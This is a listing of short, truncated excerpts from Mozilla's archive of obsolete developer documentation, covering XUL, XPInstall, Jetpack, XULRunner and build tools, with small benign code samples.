Autodial for Windows NT - Archive of obsolete content
issues there have been a few bug reports filed against this new feature that are the result of the fact that mozilla now looks at the control panel | internet options | connections settings.
Other Mozilla customization pages - Archive of obsolete content
other mozilla customization pages mcd, mission control desktop aka autoconfig pre-configuring mozilla mozexec, a mozilla launcher that writes a registry.bat before launching mozilla (contributed by petr kristan) mozptch: the main difference of the mozptch approach is, not to patch the registry.dat, but to create a new one with mozillas comandline option -createprofile.
Enabling the behavior - updating the status periodically - Archive of obsolete content
function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); window.settimeout(loadtinderboxstatus, 60000); } window.settimeout(loadtinderboxstatus, 1000); window.settimeout schedules functions to run at some future time.
Finding the file to modify - Archive of obsolete content
the dom inspector will load in a new window.
Making it into a dynamic overlay and packaging it up for distribution - Archive of obsolete content
we need to change some urls in the copy of tinderstatusoverlay.xul to point to the new locations the files will be in when they get installed via the xpi: <?xml version="1.0"?> <?xml-stylesheet href="chrome://tinderstatus/content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://tinderstatus/content/tinderstatus...
Prerequisites - Archive of obsolete content
if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of this demo.
Specifying the appearance - Archive of obsolete content
ox-status[status="testfailed"] { list-style-image: url("chrome://navigator/content/tb-testfailed.png"); } statusbarpanel#tinderbox-status[status="busted"] { list-style-image: url("chrome://navigator/content/tb-busted.png"); } mozilla can have multiple sets of stylesheets that govern its appearance, and we don't want to have to add these rules to each set (and have our extension break when a new set gets installed), so we'll put this stylesheet in a file called tinderstatus.css in the same directory as navigator.xul and reference it at the top of that file right under the global stylesheet reference: <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/content/tinderstatus.css" type="text/css"?> our css rules use the li...
Creating a Mozilla Extension - Archive of obsolete content
see building an extension for an up-to-date tutorial (it focuses on firefox, but is also applicable to other new applications).
chrome.manifest - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "chrome.manifest": skin global my_theme jar:chrome/my_theme.jar!/global/ skin mozapps my_theme jar:chrome/my_theme.jar!/mozapps/ skin messenger my_theme jar:chrome/my_theme.jar!/messenger/ skin messenger-newsblog my_theme jar:chrome/my_theme.jar!/messenger-newsblog/ skin communicator my_theme jar:chrome/my_theme.jar!/communicator/ skin help my_theme jar:chrome/my_theme.jar!/help/ skin navigator my_theme jar:chrome/my_theme.jar!/navigator/ skin editor my_theme jar:chrome/my_theme.jar!/editor/ ...
Creating a hybrid CD - Archive of obsolete content
i used version 1.8.1a03 although you'll probably want to get a newer one.
Creating a Release Tag - Archive of obsolete content
rm mozilla/client.mk cvs co -r mozilla_0_9_4_1_release_mini_branch mozilla/client.mk in each of the build scripts find the variables defining the branch and change it from the branch you originally pulled from to the new tag you are creating.
Dehydra Function Reference - Archive of obsolete content
it is not possible to define new warnings in dehydra, thus one has to figure out a warning code from an existing warning and hijack it for ulterior purposes.
Installing Dehydra - Archive of obsolete content
cd $home hg clone http://hg.mozilla.org/mozilla-central/ cd mozilla-central hg update aurora_base_20110705 cd js/src autoconf-2.13 mkdir $home/obj-js cd $home/obj-js $home/mozilla-central/js/src/configure --enable-optimize --disable-debug make it has to be checked whether later/newer branches (like aurora_base_20120131) are working, too.
Dehydra - Archive of obsolete content
mailing list newsgroup rss feed #static on irc.mozilla.org blogs taras glek david mandelin benjamin smedberg related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
Download Manager preferences - Archive of obsolete content
browser.download.manager.addtorecentdocs a boolean value that indicates whether or not new downloads should be added to the recent documents list.
Drag and Drop - Archive of obsolete content
next » as of gecko 1.9.1 (firefox 3.5), these apis are officially deprecated the newer, simpler, portable api should be used in their place.
External CVS snapshots in mozilla-central - Archive of obsolete content
nspr nsprpub nss dbm security/dbm security/coreconf security/nss special procedures must be used to update these to newer snapshots of the upstream software projects.
Creating a Help Content Pack - Archive of obsolete content
(the index, table of contents, and search data sources are more likely to be nested, complicating their formats.) create a new rdf file (for now let's name it glossary.rdf), and add the following lines to it: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="urn:root"> <nc:subheadings> <rdf:seq> </rdf:seq> <nc:subheadings> </rdf:description> </rdf:rdf> this forms the outer...
Helper Apps (and a bit of Save As) - Archive of obsolete content
nsexternalapphandler::ondataavailable here we just copy the newly arrived data over into our temporary file.
Basics - Archive of obsolete content
methods open(urlstring)opens a new tab in your browser with a defined url.
First run - Archive of obsolete content
first-run page when users install your jetpack, they will be greeted with a new page notifying them that installation was successful.
Enabling Experimental Jetpack Features - Archive of obsolete content
in jetpack, we propse adding a new function to the base namespace called importfromfuture.
Enabling - Archive of obsolete content
in jetpack, we propse adding a new function to the base namespace called importfromfuture.
First Run - Archive of obsolete content
first-run page when users install your jetpack, they will be greeted with a new page notifying them that installation was successful.
Meta - Archive of obsolete content
future imports experimental new language and api features.
Tabs - Archive of obsolete content
ArchiveMozillaJetpackUITabs
methods open(urlstring)opens a new tab in your browser with a defined url.
slideBar - Archive of obsolete content
creating a slidebar and adding options to implement a new slidebar within your jetpack code, use the method jetpack.slidebar.append(options) ...
Enabling Experimental Jetpack Features - Archive of obsolete content
ArchiveMozillaJetpackdocsMetaFuture
in jetpack, we propse adding a new function to the base namespace called importfromfuture.
statusBar - Archive of obsolete content
namespace: jetpack.statusbar methods copybackground embediframe append the append methods adds a new item to the statusbar.
Mac OS X Build Prerequisites/fink - Archive of obsolete content
the installer should configure the fink environment for you, making it available in any new terminal window.
Measuring add-on startup performance - Archive of obsolete content
to test with about:startup, you should set up a new firefox profile, install this add-on, and then open and quit firefox repeatedly.
Metro browser chrome tests - Archive of obsolete content
adding a new browser chrome test to the tree to add a new metro browser chrome test add the test file to the browser_tests variable in /browser/metro/base/tests/mochitest/makefile.in.
Mozilla Application Framework - Archive of obsolete content
community a large, active development community that interacts via newsgroups, mailing lists, irc channels, and web sites.
Nanojit - Archive of obsolete content
allocator *alloc = new vmallocator(); codealloc *codealloc = new codealloc(); assembler *assm = new (&gc) assembler(*codealloc, *alloc, &core, &lc); fragmento *fragmento = new (&gc) fragmento(&core, &lc, cache_size_log2, codealloc); lirbuffer *buf = new (*alloc) lirbuffer(*alloc); #ifdef debug fragmento->labels = new (*alloc) labelmap(*alloc, &lc); buf->names = new (*alloc) lirnamemap(*alloc, fragmento->label...
Plug-n-Hack Phase1 - Archive of obsolete content
for example: var manifest = {"detail":{"url":"http://localhost:8080/manifest"}}; var evt = new customevent('configuresectool', manifest); it is suggested that browsers wishing to support pnh restrict handling of customevents such that they’re ignored where the event happens outside of user initiated actions.
Porting NSPR to Unix Platforms - Archive of obsolete content
there are a few new files you need to add: <tt>mozilla/nsprpub/config/netbsd.mk</tt> the name of this file is the return value of <tt>uname -s</tt> on the platform, plus the file suffix <tt>.mk</tt>.
Build - Archive of obsolete content
go into the prism/ directory and create a .mozconfig file mk_add_options moz_objdir=@topsrcdir@/mozilla-obj/prism ac_add_options --with-libxul-sdk=../dist ac_add_options --enable-application=prism you need to define an environment variable to point the build to the new .mozconfig.
BundleLibrary - Archive of obsolete content
we are working on a new bundle library compatible with the current prism version and welcome any contributions from the developer community.
Reading textual data - Archive of obsolete content
getservice(components.interfaces.nsiutf8converterservice); var data = utf8converter.converturispectoutf8 (str, "utf-8"); gecko 1.8 and newer reading strings starting with gecko 1.8 (seamonkey 1.0, firefox 1.5), you can use nsiconverterinputstream to read strings from a stream (nsiinputstream).
Remotely debugging Firefox for Metro - Archive of obsolete content
this article explains how to use remote debugging to inspect and code running in the new windows 8 ("metro-style") firefox app, using the developer tools in firefox on the desktop.
Safely loading URIs - Archive of obsolete content
changes in gecko 1.9 a key security change in gecko 1.9 is the addition of the new security.fileuri.strict_origin_policy preference.
SpiderMonkey coding conventions - Archive of obsolete content
js_newobject.
Static Analysis for Windows Code under Linux - Archive of obsolete content
troubles you can post any question about static check to the mozilla.dev.static-analysis newsgroup and any question about cross compiling to the mozilla.dev.builds newsgroup.
Supporting per-window private browsing - Archive of obsolete content
var channel = services.io.newchannel("http://example.org", null, null); channel.queryinterface(components.interfaces.nsiprivatebrowsingchannel); channel.setprivate(true); // force the channel to be loaded in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have no context from which to derive a privacy status.
Tamarin mercurial commit hook - Archive of obsolete content
hook use on every commit to your local repository, the hook will only check for violations in any new / changed code.
The life of an HTML HTTP request - Archive of obsolete content
these content nodes are created by calling functions like ns_newhtmlxxxxelement().
Treehydra - Archive of obsolete content
mailing list newsgroup rss feed #static on irc.mozilla.org blogs taras glek david mandelin related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
URIScheme - Archive of obsolete content
preferences see gecko.handlerservice.schemes.* scripting interface see nsiprotocolhandler to create a new protocol/scheme.
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
t shareddata { prlock *ml; prcondvar *cv; print32 counter; } shareddata; static void forkedthread(void *arg) { shareddata *shared = (shareddata*)arg; while (--shared->counter > 0) pr_waitcondvar(shared->cv, pr_interval_no_timeout); return; } /* forkedthread */ printn main(printn argc, char **argv) { prthread *thread; shareddata shared; shared.ml = pr_newlock(); shared.cv = pr_newcondvar(shared.ml); shared.counter = 10; thread = pr_createthread( pr_user_thread, forkedthread, &shared, pr_priority_normal, pr_local_thread, pr_joinable_thread, 0); do { pr_sleep(pr_secondstointerval(1)); pr_lock(shared.ml); if (0 == shared.counter) break; pr_notifycondvar(shared.cv); pr_unlock...
[Deprecated] The Mozilla build VM - Archive of obsolete content
"good" first bugs may be a little stale, but at some point in their lives we considered that they would be a good first step for newcomers to mozilla.
Install script template - Archive of obsolete content
on createsecondaryinstall() { // use getfolder in such a way that it creates c:\winnt\system32\myplugin secondaryfolder = getfolder("win system", company_name); // if secondaryfolder is null, then there has been an error if(!secondaryfolder) return nosecondaryinstall; else { // we have admin privileges to write to the win system directory // so we will set up dll and xpt in their new home errblock2 = addfile (plid, version, plugin_file, secondaryfolder, null); // something went wrong if errblock2 is not 0 if (errblock2!=0) { logcomment("could not add " + plugin_file + " to " + secondaryfolder + ":" + errblock2); return errblock2; } // start installing xpt file if this is a scriptable plugin errblock2 = addfile (plid, version, component_file, secondaryfo...
copy - Archive of obsolete content
if destination does not exist a new file will be created.
dirGetParent - Archive of obsolete content
example f = getfolder("program", "mynewdirectory"); err = file.dircreate(f); err = file.getparent(f) // returns "program" ...
toString - Archive of obsolete content
to get the version number out of an installversion object in order to compare it with other versions, you can call tostring() and get back the version as a string in the format "maj.min.rev.bld." example var vi = new installversion(); vi.init("999.888.777.666"); //random string vistring = vi.tostring(); ...
InstallVersion Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
Properties - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
Install Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
WinProfile Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
setValue - Archive of obsolete content
value a winregvalue object representing the new non-string value.
setValueNumber - Archive of obsolete content
value a number representing the new string value.
setValueString - Archive of obsolete content
value the new string value.
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
WinRegValue - Archive of obsolete content
returns a new winregvalue object, with the data members type and data set to the values passed to this constructor.
WinReg Object - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
XPInstall API reference - Archive of obsolete content
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
Directions of the Mozilla RDF engine - Archive of obsolete content
presentation download summary this presentation showed new developments in the mozilla rdf engine.
Extending Gecko with XBL and XTF - Archive of obsolete content
presentation view online download summary this session explored ways to extend mozilla/firefox to handle new xml tags and namespaces via drop-in extensions to the layout engine.
highlightnonmatches - Archive of obsolete content
« xul reference home highlightnonmatches new in thunderbird 3 requires seamonkey 2.0 type: boolean if true, then the autocomplete field will be highlighted when no match has been found.
autocompletesearchparam - Archive of obsolete content
« xul reference home autocompletesearchparam new in thunderbird 3 requires seamonkey 1.1 type: string a string which is passed to the search component.
autofill - Archive of obsolete content
« xul reference home autofill new in thunderbird 3 requires seamonkey 2.0 type: boolean if set to true, the best match will be filled into the textbox as the user types.
completedefaultindex - Archive of obsolete content
« xul reference home completedefaultindex new in thunderbird 3 requires seamonkey 2.0 type: boolean if true, the best match value will be filled into the textbox as the user types.
disableautocomplete - Archive of obsolete content
« xul reference home disableautocomplete new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the autocomplete behavior will be disabled.
droppedLinkHandler - Archive of obsolete content
droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface ...
enablehistory - Archive of obsolete content
enablehistory new in thunderbird 1requires seamonkey 2.0 type: boolean if true, an arrow button will appear on the end of the textbox which, when pressed, will open a dropdown menu of all available results.
forcecomplete - Archive of obsolete content
« xul reference home forcecomplete new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the textbox will be filled in with the best match when it loses the focus.
id - Archive of obsolete content
ArchiveMozillaXULAttributeid
<button id="foo" label="click me" oncommand="dosomething()"/> <script> function dosomething(){ var mybutton = document.getelementbyid('foo'); mybutton.setattribute('label','the button was pressed'); } </script> a more abstract version of the above would be a <button id="foo" label="click me" oncommand="setwidgetlabel(this, 'i was pressed')"/> <script> function setwidgetlabel(idname, newcaption){ document.getelementbyid( idname.id ).setattribute('label',newcaption) } </script> not specifying the id attribute for a window or a prefwindow fills the console with the following warning message: warning: empty string passed to getelementbyid() see also name ...
ignoreblurwhilesearching - Archive of obsolete content
« xul reference home ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear.
image.onload - Archive of obsolete content
if you change the image, the event will fire again when the new image loads.
multiline - Archive of obsolete content
if the user presses enter, a new line is started.
onsearchcomplete - Archive of obsolete content
« xul reference home onsearchcomplete new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the autocomplete search is finished and results are available.
ontextentered - Archive of obsolete content
« xul reference home ontextentered new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when a result is selected for the textbox.
ontextreverted - Archive of obsolete content
« xul reference home ontextreverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to revert the textbox to its original uncompleted value.
reserved - Archive of obsolete content
example here, the command to open a new browser window is reserved: <command id="cmd_newnavigator" oncommand="openbrowserwindow()" reserved="true"/> if the keyboard shortcut for that is accel-t, then this code will not work as expected, as compared to when it is run from web content: document.addeventlistener("keydown", handlekey, true); function handlekey(event) { // listen for the "new tab" shortcut if (event.metakey && (even...
seltype - Archive of obsolete content
for richlistbox, this is new in firefox 3.5.
showcommentcolumn - Archive of obsolete content
« xul reference home showcommentcolumn new in thunderbird 3requires seamonkey 2.0 type: boolean if true, a comment column appears in the popup.
tabscrolling - Archive of obsolete content
« xul reference home tabscrolling new in thunderbird 3requires seamonkey 2.0 type: boolean if true, the user may cycle through the results list by pressing the tab key.
visuallyselected - Archive of obsolete content
« xul reference home visuallyselected type: boolean new in firefox 40.
XUL Events - Archive of obsolete content
in the event handler, you can retrieve the attribute that was modified using the event's attrname property, and you can retrieve the old and new values of the attribute using the event's prevvalue and newvalue properties.
Accessing Files - Archive of obsolete content
one such method it provides is nsiscriptableio.getfile() which returns a new nsifile object.
Introduction to XUL - Archive of obsolete content
a : b; } ]]> </html:script> javascript extensions mozilla has found it necessary to make a few extensions to javascript, to support new features not conceived of in a strictly browser environment.
swapDocShells - Archive of obsolete content
this method can be used to move browser between windows or tear off a browser into a new window.
addSession - Archive of obsolete content
« xul reference home addsession( session ) obsolete since gecko 26 return type: nsiautocompletesession adds a new session object to the autocomplete widget.
appendGroup - Archive of obsolete content
« xul reference home appendgroup( group ) return type: no return value not in firefox add several new tabs to the end of the existing tabs.
getTabModalPromptBox - Archive of obsolete content
returns a promptbox object representing the new prompt.
loadURIWithFlags - Archive of obsolete content
load_flags_replace_history: replace the current url in the session history with a new one.
moveByOffset - Archive of obsolete content
if isselectingrange is also true, then the new item is selected in addition to any currently selected items.
moveTo - Archive of obsolete content
ArchiveMozillaXULMethodmoveTo
« xul reference home moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates).
openWindow - Archive of obsolete content
if a window of the type is not open, a new one is opened displaying the supplied url.
replaceGroup - Archive of obsolete content
« xul reference home replacegroup( group ) not in firefox return type: array of session history objects replaces existing tabs with a new set.
sizeTo - Archive of obsolete content
ArchiveMozillaXULMethodsizeTo
« xul reference home sizeto( width, height ) return type: no return value changes the current size of the popup to the new width and height.
Node - Archive of obsolete content
ArchiveMozillaXULNode
s interface please see dom-level-2-core short element_node 1 short attribute_node 2 short text_node 3 short cdata_section_node 4 short entity_reference_node 5 short entity_node 6 short processing_instruction_node 7 short comment_node 8 short document_node 9 short document_type_node 10 short document_fragment_node 11 short notation_node 12 methods node appendchild ( node newchild ) node clonenode ( boolean deep ) boolean hasattributes ( ) boolean haschildnodes ( ) node insertbefore ( node newchild , node refchild ) boolean issupported ( string feature , string version ) void normalize ( ) node removechild ( node oldchild ) node replacechild ( node newchild , node oldchild ) ...
ContextMenus - Archive of obsolete content
<menupopup id="link-menu"> <menuitem label="open link" default="true"/> <menuitem label="open in new window"/> <menuitem label="properties"/> </menupopup> the default attribute has been set to true on the first menu item ('open link').
MenuItems - Archive of obsolete content
note that the checked state is updated before the command event fires, so if you use the menuitem's checked attribute within the command listener, it will already be in the new state.
Special per-platform menu considerations - Archive of obsolete content
here is an example: <menubar> <menu label="tools"> <menupopup> <menuitem label="spell check"/> <menuitem id="menu_preferences" label="preferences" oncommand="window.opendialog('options.xul', '_new', 'chrome');"/> </menupopup> </menu> </menubar> this menu item will be placed on the application menu on the macintosh but left in the tools menu on other platforms.
PopupEvents - Archive of obsolete content
<panel id="time-panel" onpopupshowing="this.lastchild.value = (new date()).tolocaleformat('%t')"> <label value="time:"/> <label id="time"/> </panel> <toolbarbutton label="show time" popup="time-panel"/> you can prevent a menu or popup from appearing by calling the preventdefault method of the event from within a popupshowing listener.
highlightNonMatches - Archive of obsolete content
« xul reference highlightnonmatches new in thunderbird 1 requires seamonkey 1.0 type: boolean gets and sets the value of the highlightnonmatches attribute.
builderView - Archive of obsolete content
in newer versions of mozilla, the builderview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
completeDefaultIndex - Archive of obsolete content
« xul reference completedefaultindex new in thunderbird 3requires seamonkey 2.0 type: boolean gets and sets the value of the completedefaultindex attribute.
contentView - Archive of obsolete content
in newer versions of mozilla, the contentview property is actually a synonym for the view property, since the two interfaces are flattened together into a single interface in javascript.
datasources - Archive of obsolete content
in newer versions of mozilla (1.7+), the datasources will be reloaded and the template rebuilt.
popup - Archive of obsolete content
ArchiveMozillaXULPropertypopup
« xul reference popup new in thunderbird 14 requires seamonkey 2.11 type: popup element should be set to the popup element that should appear when the user clicks on the textbox.
popupOpen - Archive of obsolete content
« xul reference popupopen new in thunderbird 15 requires seamonkey 2.12 type: boolean indicates whether the popup is open or not.
searchCount - Archive of obsolete content
« xul reference searchcount new in thunderbird 15 requires seamonkey 2.12 type: integer returns the number of search components used.
searchParam - Archive of obsolete content
« xul reference searchparam new in thunderbird 15 requires seamonkey 2.12 type: string gets and sets the value of the autocompletesearchparam attribute.
textValue - Archive of obsolete content
« xul reference textvalue new in thunderbird 15 requires seamonkey 2.12 type: string returns the content of the textbox.
Providing Command-Line Options - Archive of obsolete content
e flag (no argument) if (cmdline.handleflag("myapp", false)) { openwindow(chrome_uri, null); cmdline.preventdefault = true; } }, // changeme: change the help info as appropriate, but // follow the guidelines in nsicommandlinehandler.idl // specifically, flag descriptions should start at // character 24, and lines should be wrapped at // 72 characters with embedded newlines, // and finally, the string should end with a newline helpinfo : " -myapp open my application\n" + " -viewapp <uri> view and edit the uri in my application,\n" + " wrapping this description\n" }; var nsgetfactory = xpcomutils.generatensgetfactory([commandlinehandler]); ...
Sorting and filtering a custom tree view - Archive of obsolete content
"ascending" : "descending"); tree.setattribute("sortresource", columnname); tree.view = new treeview(table); //set the appropriate attributes to show to indicator var cols = tree.getelementsbytagname("treecol"); for (var i = 0; i < cols.length; i++) { cols[i].removeattribute("sortdirection"); } document.getelementbyid(columnname).setattribute("sortdirection", order == 1 ?
Actions - Archive of obsolete content
the id attribute of the new element will be set to the same value of the member variable, ?relateditem.
Attribute Substitution - Archive of obsolete content
as the datasource loads, the query and rules are examined with the new data as it arrives.
Multiple Rules - Archive of obsolete content
the first rule contains a new element, where which is used to define a condition.
Rule Compilation - Archive of obsolete content
a query is declared with the query tag (new to ff3; ff2 only worked with rdf datasources and had no query tag), which you would place directly inside the <template>.
Simple Example - Archive of obsolete content
first, we set the datasources and ref attributes as needed: <vbox datasources="template-guide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a triple.
Sorting Results - Archive of obsolete content
when the rdf datasource changes, and a new result is available, the new content is inserted at the right location.
Static Content - Archive of obsolete content
if you were to change the static content to be some other element besides a menupopup, it won't match, so the builder will create a new one when handling the action.
Toolbars - Archive of obsolete content
mailing list newsgroup rss feed #extdev irc channel mozillazine forum about:addons newsletter mozilla's web-tech blog mozdev project owners planet mozilla other community links...
Tree Widget Changes - Archive of obsolete content
instead of identifying columns by id, a new column object is used.
Adding Event Handlers - Archive of obsolete content
the addeventlistener() function is called to add a new capturing event listener.
Adding Style Sheets - Archive of obsolete content
<spacer class="titlespace"/> <hbox> <progressmeter id="progmeter" value="50%" style="display:none;"/> the new xml-stylesheet line is used to import the style sheet.
Commands - Archive of obsolete content
the new controller supports the 'cmd_paste' command and always indicates that the command is disabled.
Focus and Selection - Archive of obsolete content
the new value will be different than the old value.
Introduction - Archive of obsolete content
it is still possible to enable this for selected sites to let legacy apps to continue working, but for new remote applications you should use html to create your user interface instead; most of the features you used to have to use xul for are available in html5.
Localization - Archive of obsolete content
> <!entity mode.is "is"> <!entity mode.isnot "is not"> <!entity casesensitive "case sensitive search"> <!entity matchfilename "match entire filename"> <!entity results.filename "filename"> <!entity results.location "location"> <!entity results.size "size"> <!entity bytes.before ""> <!entity bytes.after "bytes"> <!entity button.find "find"> <!entity button.cancel "cancel"> now, to add text for a new language all you need to do is create another dtd file.
More Menu Features - Archive of obsolete content
the example below creates a simple submenu inside the file menu example 1 : source view <toolbox flex="1"> <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menu id="new-menu" label="new"> <menupopup id="new-popup"> <menuitem label="window"/> <menuitem label="message"/> </menupopup> </menu> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> </menubar> </toolbox> adding a menu to our find files example ...
Simple Menu Bars - Archive of obsolete content
example of a simple menu bar example 1 : source view <toolbox flex="1"> <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> </toolbox> here, a simple menu bar is created using the ...
Templates - Archive of obsolete content
the new elements that are created are functionally no different from ones that you put directly in the xul file.
Toolbars - Archive of obsolete content
this has involved four new tags, which are described here.
Tree Selection - Archive of obsolete content
getrangeat example var start = new object(); var end = new object(); var numranges = tree.view.selection.getrangecount(); for (var t = 0; t < numranges; t++){ tree.view.selection.getrangeat(t,start,end); for (var v = start.value; v <= end.value; v++){ alert("item " + v + " is selected."); } } we create two objects called 'start' and 'end'.
Urlbar-icons - Archive of obsolete content
create new image or button child elements to add your own items.
Using the Editor from XUL - Archive of obsolete content
it does some getting of window.arguments (which is a way callers can pass parameters to new windows -- we use this to get the url to be loaded), then it calls editorstartup(), where the real work happens.
Using the standard theme - Archive of obsolete content
at the beginning, there is no style when creating a new xul <tt>window</tt> (or a new <tt>dialog</tt>, for that matter) in your extension, and you do not associate a style sheet with it, your widgets will be unstyled.
XUL Changes for Firefox 1.5 - Archive of obsolete content
along with the new preference elements and some additional attributes for existing elements, they make it easy to set preferences without having to use code.
XUL FAQ - Archive of obsolete content
if your question is not answered here, you can try looking for the answer in the xul documentation or ask in the xul newsgroup.
Accessibility/XUL Accessibility Reference - Archive of obsolete content
items are read per line as in "pearl female gray" listitem see listbox menuitem see menulist and menubar menubar <menubar hidden="false"> <menu label="file" accesskey="f"> <menupopup> <menuitem label="new" accesskey="n" key="file-new-key"/> </menupopup> </menu> </menubar> menulist <label value="<!--label text-->" control="comboid" /> <menulist id="comboid"> <menupopup> <menuitem label="<!--option1-->" /> <menuitem label="<!--option2-->" selected="true" /> <menuitem label="<!--option3-->" /> </menupopup> </menulist> menupopup ...
XUL controls - Archive of obsolete content
<button type="menu-button" label="new"> <menupopup> <menuitem label="new document"/> <menuitem label="new image"/> </menupopup> </button> more information about this type of menu button element.
appendChild - Archive of obsolete content
node appendchild ( node newchild ) ...
editor - Archive of obsolete content
to edit a new document, set the src attribute to about:blank.
key - Archive of obsolete content
ArchiveMozillaXULkey
for example: <!-- this element handles all key events --> <key/> <!-- these elements don't handle any key events --> <key key="" modifiers="control"/> <key keycode="" modifiers="control"/> modifying attributes in case you want to change one of the <key>'s attributes, such as the modifiers attribute, the keyset element has to be re-added to its parent node; otherwise the new attributes won't be applied.
menubar - Archive of obsolete content
attributes grippyhidden, statusbar properties accessibletype, statusbar examples <menubar id="sample-menubar"> <menu id="action-menu" label="action"> <menupopup id="action-popup"> <menuitem label="new"/> <menuitem label="save" disabled="true"/> <menuitem label="close"/> <menuseparator/> <menuitem label="quit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuitem label="redo"/> </menupopup> </menu> </menubar> attributes grippyhidden seamonkey only type: boolean whe...
<statusbarpanel> - Archive of obsolete content
this element is often used with a short label or icon to indicate status, for instance whether the user is online or whether there are new messages.
wizard - Archive of obsolete content
in newer versions of mozilla, a statusbar may be placed directly inside the wizard element which will be shared among all pages.
XUL - Archive of obsolete content
mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste snippets from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar ...
CommandLine - Archive of obsolete content
terfaces.nsiobserverservice); observerservice.addobserver(this, "commandline-args-changed", false); }, unregister: function() { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.removeobserver(this, "commandline-args-changed"); } } var observer = new commandlineobserver(); // because we haven't yet registered a commandlineobserver when the application is // launched the first time, we simulate a notification here.
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
let's face it, it was probably time for you to get some new furniture anyway.
Deploying XULRunner - Archive of obsolete content
other executables and libraries the core changes to xul and gecko that require this new file layout were implemented in gecko 34, except that the xulrunner application was not updated to know about the change, so it will report an error: "unable to load xpcom." xulrunner was fixed in gecko 39.
XULRunner FAQ - Archive of obsolete content
if you want to help with xulrunner but don't know where to start, visit the xulrunner:community page and ask questions on the newsgroups or the irc channel.
Using LDAP XPCOM with XULRunner - Archive of obsolete content
this will create a new file in the components subdirectory of the built package, mozldap_stub.dll (on windows) or libmozldap_stub.so (on linux).
MacFAQ - Archive of obsolete content
taking advantage of the core code "openurl" from "nscommandlineservicemac.cpp", you'll see that it looks for "browser.chromeurl" before defaulting to navigator.xul, and this is called when an xulrunner app is already running, so: create a default preference of "browser.chromeurl" that points to your new "hiddenwindow" as such: "chrome://myxul/content/hiddenwindow.xul" next take the code below and drop it in, to create the hiddenwindow.xul (note: the debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:h...
Make your xulrunner app match the system locale - Archive of obsolete content
democracy does this by creating a command line handler called democracyclh, and then creating a new object of our pybridge component.
Opening a Link in the Default Browser - Archive of obsolete content
this can be done using the nsiexternalprotocolservice interface: // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); // now, open it!
XULRunner tips - Archive of obsolete content
